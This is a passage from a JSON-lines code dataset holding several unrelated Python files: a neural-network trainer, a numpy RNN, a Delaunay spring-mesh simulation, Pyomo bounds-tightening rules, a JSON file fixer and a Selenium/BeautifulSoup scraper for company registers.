self.valid_functions = {'sigmoid': activation_functions.sigmoid, \n 'relu': activation_functions.relu,\n 'leaky_relu': activation_functions.leaky_relu,\n 'inverse_tan':activation_functions.inverse_tan}\n self.apply_softmax = False\n self.select_function(function)\n \n def select_function(self, function):\n if(function in self.valid_functions):\n self.activation_function = self.valid_functions[function]\n if(function == 'relu' or function == 'leaky_relu'):\n self.apply_softmax = True\n log.debug(\"function = {0}\".format(function))\n log.debug(\"softmax = {0}\".format(self.apply_softmax))\n else:\n self.activation_function = self.valid_functions[\"sigmoid\"]\n log.warn(\"{0} is not a valid function, defaulting to sigmoid\".format(function))\n\n def initialise_input(self, input_data): # Seed the input neurons\n self.values[0] = input_data\n self.input_init = True\n\n def apply_feed_forward(self, synapses):\n for i in range(1, self.total_layers):\n self.values[i] = self.activation_function(np.dot(self.values[i-1], synapses[i-1]))\n if(self.apply_softmax == True):\n self.values[-1] = activation_functions.softmax(self.values[-1])\n\n def get_output_error(self, output_data):\n self.errors[-1] = output_data - self.values[-1] # index -1 is last index\n\n def get_mean_error(self):\n error_val = np.mean(np.abs(self.errors[-1]))\n return error_val \n\n def get_delta_using_gradient_descent(self, synapses):\n for i in range(self.total_layers-1, 0, -1):\n self.deltas[i] = self.errors[i] * self.activation_function(self.values[i], deriv=True) # Error weighted derivative\n self.errors[i-1] = self.deltas[i].dot(synapses[i-1].T)\n\n def back_propagate(self, synapses, learning_rate):\n for i in range(self.total_layers-1):\n synapses[i] += self.values[i].T.dot(self.deltas[i+1]) * learning_rate\n\n def perform_training_cycle(self, synapses, expected_output, learning_rate):\n self.apply_feed_forward(synapses) \n self.get_output_error(expected_output)\n self.get_delta_using_gradient_descent(synapses)\n self.back_propagate(synapses, learning_rate)\n\n\ndef train_synapses(training_data, synapses, training_config, error_history):\n log.info('[Training neural network]')\n total_layers = len(synapses)+1\n layers = Network_Layers(total_layers, function=training_config.function)\n layers.initialise_input(training_data.input)\n for epoch in range(training_config.epochs):\n layers.perform_training_cycle(synapses, \n training_data.output, \n training_config.learning_rate)\n error_val = layers.get_mean_error()\n error_history.append(error_val)\n if(training_config.debug == True):\n log.debug(\"Epoch {0}: {1}\".format(epoch, error_val))\n if(error_val <= training_config.target_error):\n log.info(\"Target error reached: {0}\".format(error_val))\n break\n","sub_path":"Projects/Neural Network/Python/Captcha NN/network_training.py","file_name":"network_training.py","file_ext":"py","file_size_in_byte":6115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"288750287","text":"import os\nimport json\n\n\ndef parse_file(filename):\n with open(filename, 'rb+') as f:\n f.seek(-2, os.SEEK_END)\n f.truncate()\n\n with open(filename, \"r+\") as f:\n s = f.read()\n f.seek(0)\n f.write(\"[\" + s)\n s = f.read()\n f.write(']')\n\n\n\n# if __name__ == \"__main__\":\n # parse_file('./data/retweets/25_3_2020retweets.json')\n\n\n\n","sub_path":"tweets/parsers/file_parser.py","file_name":"file_parser.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"284374829","text":"import matplotlib.pyplot as plt\nfrom matplotlib import animation\nimport numpy as np\nfrom scipy.spatial import Delaunay\nfrom operator import itemgetter\n\n\nclass Line:\n def __init__(self, p1, p2):\n self.grad = np.subtract(p2, p1)\n self.intercept = p1[1] - self.grad * p1[0]\n self.p1 = p1\n self.p2 = p2\n self.x = (p1[0], p2[0])\n self.y = (p1[1], p2[1])\n\n def plot_lines(self, axis):\n axis.plot(self.x, self.y)\n\n\nclass Polygon:\n def __init__(self, n_fixed, radius):\n self.center = (0, 0)\n self.n_fixed = n_fixed\n self.layers = 1\n self.fixed = np.empty((n_fixed * self.layers, 2))\n self.radius = radius\n self.d_theta = 2 * np.pi / self.n_fixed\n self.min_dist = self.radius * np.cos(np.pi / n_fixed)\n self.get_fixed_points()\n self.lines = []\n self.get_lines()\n self.n_random = 15\n self.p_list = []\n self.t_list = []\n self.gen_points()\n\n def get_fixed_points(self):\n r = self.radius\n\n for p in range(self.n_fixed):\n angle = p * self.d_theta\n\n x = r * np.cos(angle)\n y = r * np.sin(angle)\n\n self.fixed[p] = x, y\n\n def get_lines(self):\n\n for j in range(self.n_fixed):\n self.lines.append(Line(self.fixed[j], self.fixed[(j + 1) % self.n_fixed]))\n\n def plot_fixed(self, axis):\n\n axis.scatter(self.fixed[:, 0], self.fixed[:, 1])\n\n def plot_moveable(self, axis):\n\n axis.scatter(self.p_list[:, 0], self.p_list[:, 1])\n\n def plot_border(self, axis):\n\n for line in self.lines:\n line.plot_lines(axis)\n\n def gen_points(self):\n\n self.t_list = list(np.random.rand(self.n_random, 2) * 2 - 1)\n\n for k in range(self.n_random):\n if self.t_list[k][0] ** 2 + self.t_list[k][1] ** 2 < self.min_dist ** 2:\n self.p_list.append(self.t_list[k])\n\n self.p_list = np.asarray(self.p_list)\n\n\ndef force_calc(vector):\n # print(vector)\n rest_length = 0.5\n k = -1\n bond_vector_normed = vector / np.linalg.norm(vector)\n bond_length = np.linalg.norm(vector)\n extension = bond_length - rest_length\n force_one = k * extension * bond_vector_normed\n force_two = -force_one\n #\n # k = 1\n # force1 = -k * vector\n # force2 = -force1\n\n return force_one, force_two\n\ndef get_edges(triangulation):\n \n lines = []\n for l in range(triangulation.nsimplex):\n if l > triangulation.neighbors[l, 2]:\n lines.append([triangulation.vertices[l, 0], triangulation.vertices[l, 1]])\n if l > triangulation.neighbors[l, 0]:\n lines.append([triangulation.vertices[l, 1], triangulation.vertices[l, 2]])\n if l > triangulation.neighbors[l, 1]:\n lines.append([triangulation.vertices[l, 2], triangulation.vertices[l, 0]])\n\n return np.asarray(sorted(lines, key=itemgetter(0)))\n\n\nnp.random.seed(10)\n\ndim = 2\n\nfig = plt.figure()\nax1 = fig.add_subplot(211)\nax2 = fig.add_subplot(212)\n\nsquare = Polygon(5, 1)\n\nall_points = np.append(square.fixed, square.p_list, axis=0)\n\nsquare.plot_border(ax2)\nsquare.plot_fixed(ax2)\nsquare.plot_moveable(ax2)\ntri = Delaunay(all_points)\nax2.triplot(all_points[:, 0], all_points[:, 1], tri.simplices.copy())\nax2.set_aspect('equal')\n\nnum_points = all_points.shape[0]\n\nF = np.zeros((num_points, dim))\nA = np.zeros_like(F)\nM = np.ones_like(F)\nV = np.zeros_like(F)\n\ndt = 0.0001\n\nfor i in range(10000):\n\n if i % 1000 == 0:\n print(i)\n tri = Delaunay(all_points)\n edges = get_edges(tri)\n\n for m in range(len(edges)):\n lead, tail = edges[m]\n dir_vect = all_points[lead] - all_points[tail] # vector pointing between the two points\n f1, f2 = force_calc(dir_vect) # lead experiences f1, tail experiences f2\n\n if lead >= square.n_fixed: # don't move fixed points. Could be approximated by large mass difference\n F[lead] += f1\n if tail >= square.n_fixed:\n F[tail] += f2\n\n A = F / M\n V += A * dt\n all_points += V * dt\n\n # print(all_points[5])\n # print(A[5])\n # print(V[5])\n # print(F[5])\n\n F = np.zeros_like(F)\n\n# print(all_points)\n\n# print(edges)\n\n# print(tri.simplices)\n\nsquare.plot_border(ax1)\nsquare.plot_fixed(ax1)\n\nax1.scatter(all_points[:, 0], all_points[:, 1])\nax1.triplot(all_points[:, 0], all_points[:, 1], tri.simplices.copy())\nax1.set_aspect('equal')\n\n# anim = animation.FuncAnimation(fig, animate, init_func=init, frames=500, interval=20, blit=True)\n\nplt.show()\n","sub_path":"bubbles_1.py","file_name":"bubbles_1.py","file_ext":"py","file_size_in_byte":4553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"313310178","text":"# Copyright 2017 Francesco Ceccon\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"FBBT bounds tightening rules.\"\"\"\nfrom pyomo.common.collections import ComponentMap\nimport pyomo.environ as pe\nfrom suspect.expression import UnaryFunctionType\nfrom suspect.interfaces import Rule, UnaryFunctionRule\nfrom suspect.interval import Interval\nfrom suspect.math import almosteq, isinf # pylint: disable=no-name-in-module\nfrom suspect.pyomo.expressions import nonpyomo_leaf_types\n\nMAX_EXPR_CHILDREN = 1000\n\n\nclass ConstraintRule(Rule):\n \"\"\"Return new bounds for constraint.\"\"\"\n def apply(self, expr, _bounds):\n bounds = Interval(expr.lower_bound, expr.upper_bound)\n return [bounds]\n\n\nclass SumRule(Rule):\n \"\"\"Return new bounds for sum.\"\"\"\n def __init__(self, max_expr_children=None):\n if max_expr_children is None:\n max_expr_children = MAX_EXPR_CHILDREN\n self.max_expr_children = max_expr_children\n\n def apply(self, expr, bounds):\n if len(expr.args) > self.max_expr_children: # pragma: no cover\n return None\n expr_bound = bounds[expr]\n children_bounds = [\n self._child_bounds(child_idx, child, expr, expr_bound, bounds)\n for child_idx, child in enumerate(expr.args)\n ]\n return children_bounds\n\n def _child_bounds(self, child_idx, _child, expr, expr_bound, bounds):\n siblings_bound = sum(\n bounds[c]\n for i, c in enumerate(expr.args)\n if i != child_idx\n )\n return expr_bound - siblings_bound\n\n\nclass LinearRule(Rule):\n \"\"\"Return new bounds for linear expressions.\"\"\"\n def __init__(self, max_expr_children=None):\n if max_expr_children is None:\n max_expr_children = MAX_EXPR_CHILDREN\n self.max_expr_children = max_expr_children\n\n def apply(self, expr, bounds):\n if expr.nargs() > self.max_expr_children: # pragma: no cover\n return None\n expr_bound = bounds[expr]\n children_bounds = [\n bounds[child] * coef\n for coef, child in zip(expr.linear_coefs, expr.linear_vars)\n ]\n\n const = expr.constant\n children_bounds = [\n self._child_bounds(child_idx, coef, const, expr_bound, children_bounds)\n for child_idx, (coef, child) in enumerate(zip(expr.linear_coefs, expr.linear_vars))\n ]\n return children_bounds\n\n def _child_bounds(self, child_idx, coef, const, expr_bound, children_bounds):\n siblings_bound = sum(\n b for i, b in enumerate(children_bounds) if i != child_idx\n ) + const\n return (expr_bound - siblings_bound) / coef\n\n\nclass QuadraticRule(Rule):\n \"\"\"Return new bounds for quadratic expressions.\"\"\"\n def __init__(self, max_expr_children=None):\n if max_expr_children is None:\n max_expr_children = MAX_EXPR_CHILDREN\n self.max_expr_children = max_expr_children\n\n def apply(self, expr, bounds):\n expr_bound = bounds[expr]\n child_bounds = ComponentMap()\n if len(expr.terms) > self.max_expr_children:\n return None\n\n # Build bounds for all terms\n terms_bounds = [self._term_bound(t, bounds) for t in expr.terms]\n\n terms = expr.terms\n\n for term_idx, term in enumerate(terms):\n var1 = term.var1\n var2 = term.var2\n siblings_bound = sum(\n terms_bounds[i]\n for i, t in enumerate(terms) if i != term_idx\n )\n term_bound = (expr_bound - siblings_bound) / term.coefficient\n if id(var1) == id(var2):\n term_bound = term_bound.intersect(Interval(0, None))\n upper_bound = term_bound.sqrt().upper_bound\n new_bound = Interval(-upper_bound, upper_bound)\n\n if var1 in child_bounds:\n existing = child_bounds[var1]\n child_bounds[var1] = existing.intersect(new_bound)\n else:\n child_bounds[var1] = Interval(new_bound.lower_bound, new_bound.upper_bound)\n\n else:\n new_bound_var1 = term_bound / bounds[var2]\n new_bound_var2 = term_bound / bounds[var1]\n\n if var1 in child_bounds:\n existing = child_bounds[var1]\n child_bounds[var1] = existing.intersect(new_bound_var1)\n else:\n child_bounds[var1] = new_bound_var1\n\n if var2 in child_bounds:\n existing = child_bounds[var2]\n child_bounds[var2] = existing.intersect(new_bound_var2)\n else:\n child_bounds[var2] = new_bound_var2\n\n return child_bounds\n\n def _term_bound(self, term, bounds):\n if term.var1 is term.var2:\n return term.coefficient * (bounds[term.var1] ** 2)\n return term.coefficient * bounds[term.var1] * bounds[term.var2]\n\n\nclass PowerRule(Rule):\n \"\"\"Return new bounds for power expressions.\"\"\"\n def apply(self, expr, bounds):\n base, expo = expr.args\n if type(expo) not in nonpyomo_leaf_types:\n if not expo.is_constant():\n return None\n expo = expo.value\n\n if not almosteq(expo, 2):\n return None\n\n expr_bound = bounds[expr]\n # the bound of a square number is never negative, but check anyway to\n # avoid unexpected crashes.\n if not expr_bound.is_nonnegative():\n return None\n\n sqrt_bound = expr_bound.sqrt()\n return [\n Interval(-sqrt_bound.upper_bound, sqrt_bound.upper_bound),\n None,\n ]\n\n\nclass MonomialTermRule(Rule):\n \"\"\"Return new bounds for monomial term expressions.\"\"\"\n def apply(self, expr, bounds):\n expr_bound = bounds[expr]\n const, expr = expr.args\n const = pe.value(const)\n if almosteq(const, 0.0):\n return None\n child_bounds = ComponentMap()\n child_bounds[expr] = expr_bound / const\n return child_bounds\n\n\nclass _UnaryFunctionRule(UnaryFunctionRule):\n def apply(self, expr, bounds):\n expr_bounds = bounds[expr]\n return [self._child_bounds(expr_bounds)]\n\n def _child_bounds(self, bounds):\n pass\n\n\nclass _BoundedFunctionRule(_UnaryFunctionRule):\n func_name = None\n\n def _child_bounds(self, bounds):\n func = getattr(bounds, self.func_name)\n return func.inverse()\n\n\nclass AbsRule(_BoundedFunctionRule):\n \"\"\"Return new bounds for abs.\"\"\"\n func_name = 'abs'\n\n\nclass SqrtRule(_BoundedFunctionRule):\n \"\"\"Return new bounds for sqrt.\"\"\"\n func_name = 'sqrt'\n\n\nclass ExpRule(_BoundedFunctionRule):\n \"\"\"Return new bounds for exp.\"\"\"\n func_name = 'exp'\n\n\nclass LogRule(_BoundedFunctionRule):\n \"\"\"Return new bounds for log.\"\"\"\n func_name = 'log'\n\n\nclass _UnboundedFunctionRule(_UnaryFunctionRule):\n def _child_bounds(self, bounds):\n return Interval(None, None)\n\n\nclass SinRule(_UnboundedFunctionRule):\n \"\"\"Return new bounds for sin.\"\"\"\n func_type = UnaryFunctionType.Sin\n\n\nclass CosRule(_UnboundedFunctionRule):\n \"\"\"Return new bounds for cos.\"\"\"\n func_type = UnaryFunctionType.Cos\n\n\nclass TanRule(_UnboundedFunctionRule):\n \"\"\"Return new bounds for tan.\"\"\"\n func_type = UnaryFunctionType.Tan\n\n\nclass AsinRule(_UnboundedFunctionRule):\n \"\"\"Return new bounds for asin.\"\"\"\n func_type = UnaryFunctionType.Asin\n\n\nclass AcosRule(_UnboundedFunctionRule):\n \"\"\"Return new bounds for acos.\"\"\"\n func_type = UnaryFunctionType.Acos\n\n\nclass AtanRule(_UnboundedFunctionRule):\n \"\"\"Return new bounds for atan.\"\"\"\n func_type = UnaryFunctionType.Atan\n\n\n_func_name_to_rule_map = dict()\n_func_name_to_rule_map['abs'] = AbsRule()\n_func_name_to_rule_map['sqrt'] = SqrtRule()\n_func_name_to_rule_map['exp'] = ExpRule()\n_func_name_to_rule_map['log'] = LogRule()\n_func_name_to_rule_map['sin'] = SinRule()\n_func_name_to_rule_map['cos'] = CosRule()\n_func_name_to_rule_map['tan'] = TanRule()\n_func_name_to_rule_map['asin'] = AsinRule()\n_func_name_to_rule_map['acos'] = AcosRule()\n_func_name_to_rule_map['atan'] = AtanRule()\n\n\nclass UnaryFunctionRule(Rule):\n \"\"\"Bound tightening rule for unary functions.\"\"\"\n def apply(self, expr, bounds):\n assert len(expr.args) == 1\n func_name = expr.getname()\n if func_name not in _func_name_to_rule_map:\n raise ValueError('Unknown function type {}'.format(func_name))\n return _func_name_to_rule_map[func_name].apply(expr, bounds)\n","sub_path":"suspect/fbbt/tightening/rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":9061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"127943584","text":"import math\nimport numpy as np\nimport utils\n\n\n# RNN Class\n\nclass RecurrentNeuralNet(object):\n\n # Constructor\n\n def __init__(self, size):\n # State\n self.size = size\n self.learning_rate = 0.01\n self.max_history = 1\n self.__reset_history()\n\n # Weights\n size_root = math.sqrt(size)\n self.weights_in = np.random.rand(size, size) / size_root\n self.weights_hidden = np.random.rand(size, size) / size_root\n self.weights_predict = np.random.rand(size, size) / size_root\n\n # Weight Gradients\n self.weight_grads_in = np.empty((size, size))\n self.weight_grads_hidden = np.empty((size, size))\n self.weight_grads_predict = np.empty((size, size))\n\n # Convenience arrays make sure they are PARALLEL\n self.weight_mats = [self.weights_in, self.weights_hidden, self.weights_predict]\n self.weight_grads = [self.weight_grads_in, self.weight_grads_hidden, self.weight_grads_predict]\n\n # Regularization\n self.l2_strength = 0.0\n\n\n # Predict:\n # - uses current state to predict what vector should\n # should come after the passed in vector\n # TODO:\n # - consider not copying this array for speedup purposes.\n\n\n def predict(self, in_vec):\n prediction = self.__forward(in_vec)\n self.last_prediction = np.copy(prediction)\n return prediction\n\n\n # Generate:\n # Input:\n # - seed_vec: what vector to generate from. This\n # vector is included in the returned sequence.\n # - stop_val: when the RNN outputs a vector whose argmax\n # is equal to this value, it will stop generating.\n # - max_len: early stop\n # Output:\n # - a python list of generated numpy vectors\n\n\n def generate_sequence(self, seed_vec, stop_val, max_len=5):\n # Free memory\n self.__reset_history()\n\n # Generate sequence\n seq = [seed_vec]\n last_vec = seed_vec\n while True:\n next_vec = self.predict(last_vec)\n seq.append(next_vec)\n if np.argmax(next_vec) == stop_val or len(seq) >= max_len:\n break\n last_vec = next_vec\n return seq\n\n\n # Train:\n # - accepts sequence of vectors as input\n # - accumulates weight gradients on a per vector basis\n # - performs one weight update at the end of the sequence\n # How to:\n # - To train RNN on a corpus, pass whole sequences to this\n # function one at a time.\n\n def train(self, vec_sequence):\n # Free memory\n self.__free_old_history()\n\n # Assume the sequence starts with the proper seed.\n seed = vec_sequence[0]\n\n # Accumulate gradients with each vec in the sequence\n for i, vec in enumerate(vec_sequence):\n label = vec_sequence[i + 1] if i < (len(vec_sequence) - 1) else seed\n predictions = self.predict(vec)\n loss = self.__calculate_loss(predictions, label)\n loss_grads = loss * self.__calculate_loss_drv(predictions, label)\n \n # Weight update\n self.__clear_gradients()\n self.__backward_through_time(loss_grads, self.max_history)\n self.__weight_update()\n\n\n # Forward prop:\n # - updates hidden state\n # - returns vector\n\n def __forward(self, in_vec):\n # Store input for BPTT later\n self.inputs.append(in_vec)\n\n # Calculate current state\n state = np.tanh(np.dot(self.weights_in, in_vec) + self.state_hist[-1])\n\n # Softmax out from state. Store softmax input for BPTT later\n self.predict_in = np.dot(self.weights_predict, state)\n predict_out = utils.softmax(self.predict_in)\n\n # Transform current state and save it as the next hidden state\n self.state_hist.append(np.dot(self.weights_hidden, state))\n\n # Return softmax out\n return predict_out\n\n\n # Back prop:\n # - accumulates weight gradients\n\n def __backward_through_time(self, loss_grads, iters=0):\n # Backprop through softmax\n softmax_drv = utils.softmax_drv(self.last_prediction)\n predict_grads_in = np.dot(softmax_drv, loss_grads)\n self.weight_grads_predict = utils.jacobian(self.predict_in, predict_grads_in)\n\n # Backprop through time\n state_grads_out = utils.from_jacobian(self.weight_grads_predict)\n iters = min(iters, len(self.state_hist) - 1)\n for i in range(iters):\n # Remember RNN state\n in_vec = self.inputs[-1 - i]\n state_vec = self.state_hist[-1 - i]\n hidden_vec = self.state_hist[-1 - i - 1]\n \n # Backprop loss across tanh activation\n state_grads_in = state_grads_out * utils.tanh_drv(state_vec)\n\n # Accumulate weights\n self.weight_grads_in += utils.jacobian(in_vec, state_grads_in)\n self.weight_grads_hidden += utils.jacobian(hidden_vec, state_grads_in)\n \n # Move back in time\n state_grads_out = utils.from_jacobian(self.weight_grads_hidden)\n\n\n # Weights\n\n\n def __weight_update(self):\n for i, weight_mat in enumerate(self.weight_mats):\n # Weight update\n weight_mat -= self.learning_rate * self.weight_grads[i]\n\n # L2 regularization\n weight_mat *= 1 - self.l2_strength\n\n\n def __weights_squared_sum(self):\n # For L2 regularization:\n # (0.5 * l2_strength * self.__weights_squared_sum())\n sq_sum = 0\n for weight_mat in self.weight_mats:\n sq_sum += np.sum(np.square(weight_mat))\n return sq_sum\n\n\n # Loss\n\n def __calculate_loss(self, predictions, label):\n # Cross entropy loss\n loss = self.__cross_entropy(predictions, label)\n\n # Add L2 regularization\n loss += 0.5 * self.l2_strength * self.__weights_squared_sum()\n\n # Return\n return loss\n\n\n def __calculate_loss_drv(self, predictions, label):\n return self.__cross_entropy_drv(predictions, label)\n\n\n def __cross_entropy(self, predictions, label):\n return -1 * np.sum(np.log(predictions) * label)\n\n\n def __cross_entropy_drv(self, predictions, label):\n return -1 * np.reciprocal(predictions) * label\n\n\n # Memory management\n\n def __reset_history(self):\n self.inputs = []\n self.state_hist = [np.zeros(self.size)]\n\n\n def __free_old_history(self):\n if len(self.inputs) > 50 * self.max_history:\n self.inputs = self.inputs[:-1 * self.max_history]\n\n if len(self.state_hist) > 50 * (self.max_history + 1):\n self.state_hist = self.state_hist[:-1 * self.max_history - 1]\n\n\n def __clear_gradients(self):\n self.weight_grads_in.fill(0.0)\n self.weight_grads_hidden.fill(0.0)\n self.weight_grads_predict.fill(0.0)\n\n\n # Print\n\n def pprint(self):\n print ('===============================')\n print ('RNN')\n print ('-------------------------------')\n print ('size: {0}'.format(self.size))\n print ('hidden: {0}'.format(self.state_hist[-1]))\n print ('weights_in:\\n{0}'.format(self.weights_in))\n print ('weights_hidden:\\n{0}'.format(self.weights_hidden))\n print ('weights_predict:\\n{0}'.format(self.weights_predict))\n\n\n# Script handle\n\nif __name__ == '__main__':\n print ('\\nChecking if RNN runs without crashing...')\n\n net_size = 5\n rnn = RecurrentNeuralNet(net_size)\n\n for i in range(3):\n rnn.train([np.array([i for i in range(net_size)]), np.array([i for i in range(net_size)])])\n print ('Training complete.')\n\n prediction = rnn.predict(np.array([i for i in range(net_size)]))\n print ('Prediction complete: {0}'.format(prediction))\n\n generation = rnn.generate_sequence(0, 2, [1])\n print ('Generation complete: {0}'.format(generation))\n\n print ('Test complete.\\n')","sub_path":"src/numpy_rnn/rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":7907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"73901158","text":"\"\"\" Module containing classes used for scraping companies' data.\n\nAvailable classes:\n- SearchResult: represents a basic search result (company name and detailed page link);\n- ExtendedSearchResult: subclasses SearchResult, allows for adding other fields if\n needed - for example ID number needed for detailed search;\n- TargetResult: represents a detailed search result, contains all the information about\n targeted company;\n- ScraperGeneric: generic base class for scrapers; contains common methods and sets the\n proper naming allowing for polymorphic behavior of user interface;\n- Scraper: scrapers for website\n\nOther:\n- SITES_DB dictionary: maps countries to available sites to scrape and\n corresponding scraper classes;\n\"\"\"\n\nimport collections\nimport csv\nimport os\nimport re\nimport sys\n\nimport requests\n\nfrom bs4 import BeautifulSoup\nfrom PySide2 import QtCore, QtGui\nfrom selenium import webdriver\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\n\nimport utils\n\n\nclass SearchResult:\n \"\"\" Represents basic search result containing name and detailed page link.\n Attibutes:\n - name, link: string type data\n \"\"\"\n\n def __init__(self, name, link):\n self.name = name\n self.link = link\n\n\nclass ExtendedSearchResult(SearchResult):\n \"\"\" Represents extended search result, allows for additional attributes.\n Attributes:\n - name, link: as in SearchResult class\n - other: dictionary type data\n \"\"\"\n\n def __init__(self, name, link=None, other=None):\n super().__init__(name, link)\n if not other:\n self.other = {}\n else:\n self.other = other\n\n\nclass TargetResult(SearchResult):\n \"\"\" Represents detailed results, contains detailed company information.\n Arguments:\n - source: string type, source page url;\n - status: string type, content depends on scraped site;\n - id_name: string type, name of ID used to verify company;\n - id_number: string type, ID value;\n - data: collections.OrderedDict type, allows for adding other information\n as the scope of detailed pages differ between differenet sites;\n Methods:\n - to_dict: converts information saved in instance attributes to OrderedDict\n and returns that OrderedDict;\n - to_csv: uses to_dict method and saves instance attributes to CSV file;\n \"\"\"\n\n def __init__(self, source, name, link, status, id_name, id_number, data=None):\n super().__init__(name, link)\n self.source = source\n self.status = status\n self.id_name = id_name\n self.id_number = id_number\n if not data:\n self.data = {}\n elif isinstance(data, collections.OrderedDict):\n self.data = data\n else:\n self.data = {'wrong data input': 'wrong data input'}\n\n def to_dict(self):\n \"\"\" Returns collections.OrderedDict containing instance attributes. \"\"\"\n target_dict = collections.OrderedDict()\n target_dict.update({'Target Name': self.name,\n 'Source': self.source,\n 'Status': self.status,\n self.id_name: self.id_number,\n })\n target_dict.update(self.data)\n target_dict.update({'Link': self.link})\n return target_dict\n\n def to_csv(self):\n \"\"\" Uses to_dict method to get collections.OrderedDict with instance attributes\n and saves that information in CSV file named 'target.csv'. \"\"\"\n info_dict = self.to_dict()\n try:\n with open('target.csv', 'w', newline='') as csv_file:\n csv_writer = csv.writer(csv_file, delimiter=';')\n csv_writer.writerow([key for key in info_dict.keys()])\n csv_writer.writerow([value for value in info_dict.values()])\n except UnicodeEncodeError:\n with open('target.csv', 'w', encoding='utf-8', newline='') as csv_file:\n csv_writer = csv.writer(csv_file, delimiter=';')\n csv_writer.writerow([key for key in info_dict.keys()])\n csv_writer.writerow([value for value in info_dict.values()])\n\n\nclass ScraperGeneric:\n \"\"\" Generic base class for web scrapers.\n Defines a common set of attributes for every Scraper:\n - keyword: company name to be searched for;\n - search_result_class: class that general search results should be stored in,\n defaults to SearchResult;\n - target_class: class that detailed company data should be stored in,\n defaults to TargetResult;\n - search_results: list of search_result_class objects, this list is populated by\n instance's search_scrape method;\n Defines common set of methods for every Scraper:\n - get_chrome_driver: returns configured Selenium Chrome webdriver;\n - get_soup_object: returns BeautifulSoup object with contents of given url;\n Also defines methods to be overridden by specific Scrapers allowing for common\n interface despite different algorithms:\n - generate_link: generates url to search results webpage based on self.keyword attribute;\n - search_scrape: sends request to url from generate_link method, parses webpage content,\n creates search_result_class objects and appends them to search_results list attribute;\n - target_scrape: takes target_name as a parameter, searches for that name in search_results attribute\n list and sends request to detailed page url from instance.link attribute; parses webpage content,\n creates and returns target_class object;\n \"\"\"\n\n def __init__(self, keyword, search_result_class=SearchResult, target_class=TargetResult):\n self.keyword = keyword\n self.search_result_class = search_result_class\n self.target_class = target_class\n self.search_results = []\n\n def get_chrome_driver(self):\n \"\"\" Returns configured Selenium Chrome WebDriver in headless mode and with user-agent set.\n Chromedriver is in headless mode. As the app is prepared to be compiled into single exe file,\n if it's run from .exe, chromedriver.exe is expected to be in the same dir as the program.\n When ran from .py file, chromedriver is expected to be available in system PATH.\n \"\"\"\n options = webdriver.ChromeOptions()\n options.add_argument('headless')\n user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'\n options.add_argument(f'user-agent={user_agent}')\n if getattr(sys, 'frozen', False):\n # code is ran from .exe and chromedriver should be in the same folder\n current_dir = os.path.dirname(sys.executable)\n chromedriver_path = os.path.join(current_dir, \"chromedriver.exe\")\n driver = webdriver.Chrome(chromedriver_path, options=options)\n else:\n driver = webdriver.Chrome(options=options)\n return driver\n\n def get_soup_object(self, url, selenium=False):\n \"\"\" Returns BeautifulSoup object ready to parse.\n Arguments:\n - url: string type, contains url that should be requested;\n - selenium: boolean type, if set to True, page will be requested with\n Selenium Chrome WebDriver;\n \"\"\"\n if not selenium:\n source = requests.get(url, allow_redirects=True).text\n return BeautifulSoup(source, 'lxml')\n else:\n driver = self.get_chrome_driver()\n driver.get(url)\n source = driver.page_source\n return BeautifulSoup(source, 'lxml')\n\n def generate_url(self):\n raise NotImplementedError\n\n def search_scrape(self):\n raise NotImplementedError\n\n def target_scrape(self):\n raise NotImplementedError\n\n\nclass fcaScraper(ScraperGeneric):\n # todo - different target layouts depending on target type!\n # breaks the code as it doesn't find content div in some cases\n # disabled in GUI until gets fixed\n def generate_url(self):\n \"\"\" Generates and returns search url. \"\"\"\n fixed_keyword = '+'.join(self.keyword.split())\n url = 'https://register.fca.org.uk/'\n url += f'shpo_searchresultspage?search={fixed_keyword}&TOKEN=3wq1nht7eg7tr'\n return url\n\n def search_scrape(self):\n \"\"\" Sets self.search_results attribute to a list of search result objects. \"\"\"\n search_url = self.generate_url()\n soup = self.get_soup_object(search_url, selenium=False)\n try:\n results_div = soup.find('table', id='SearchResults').tbody\n except AttributeError:\n return None\n for result in results_div.find_all('td', class_='ResultName'):\n name = result.a.text.strip()\n link = result.a['href']\n result = self.search_result_class(name, link)\n self.search_results.append(result)\n\n def target_scrape(self, target_name):\n \"\"\" Returns target element detailed object based on a given name. \"\"\"\n for element in self.search_results:\n if element.name == target_name:\n target_link = element.link\n break\n soup = self.get_soup_object(target_link)\n content_div = soup.find('div', id='content')\n if not content_div:\n return None\n source = 'https://register.fca.org.uk/'\n try:\n status = content_div.find('span', class_='statusbox').text.strip()\n except AttributeError:\n status = content_div.find(string=re.compile('Status')).parent.text.strip()\n try:\n id_data = content_div.find('span', class_='ReferenceNumber').text.strip()\n except AttributeError:\n id_data = 'N/A'\n id_name = id_data.strip('()').split(':')[0]\n id_number = id_data.strip('()').split()[-1]\n target = self.target_class(source, target_name, target_link, status, id_name, id_number)\n return target\n\n\nclass zraScraper(ScraperGeneric):\n def generate_url(self):\n \"\"\" Generates and returns search url. \"\"\"\n search_url = 'https://www.zra.org.zm/'\n return search_url\n\n def search_scrape(self):\n \"\"\" Sets self.search_results attribute to a list of search result objects. \"\"\"\n search_url = self.generate_url()\n driver = self.get_chrome_driver()\n driver.get(search_url)\n # Navigate to search form on site and use it to search for a keyword\n # (javascript+POST method related issues otherwise)\n driver.find_element_by_link_text('Other 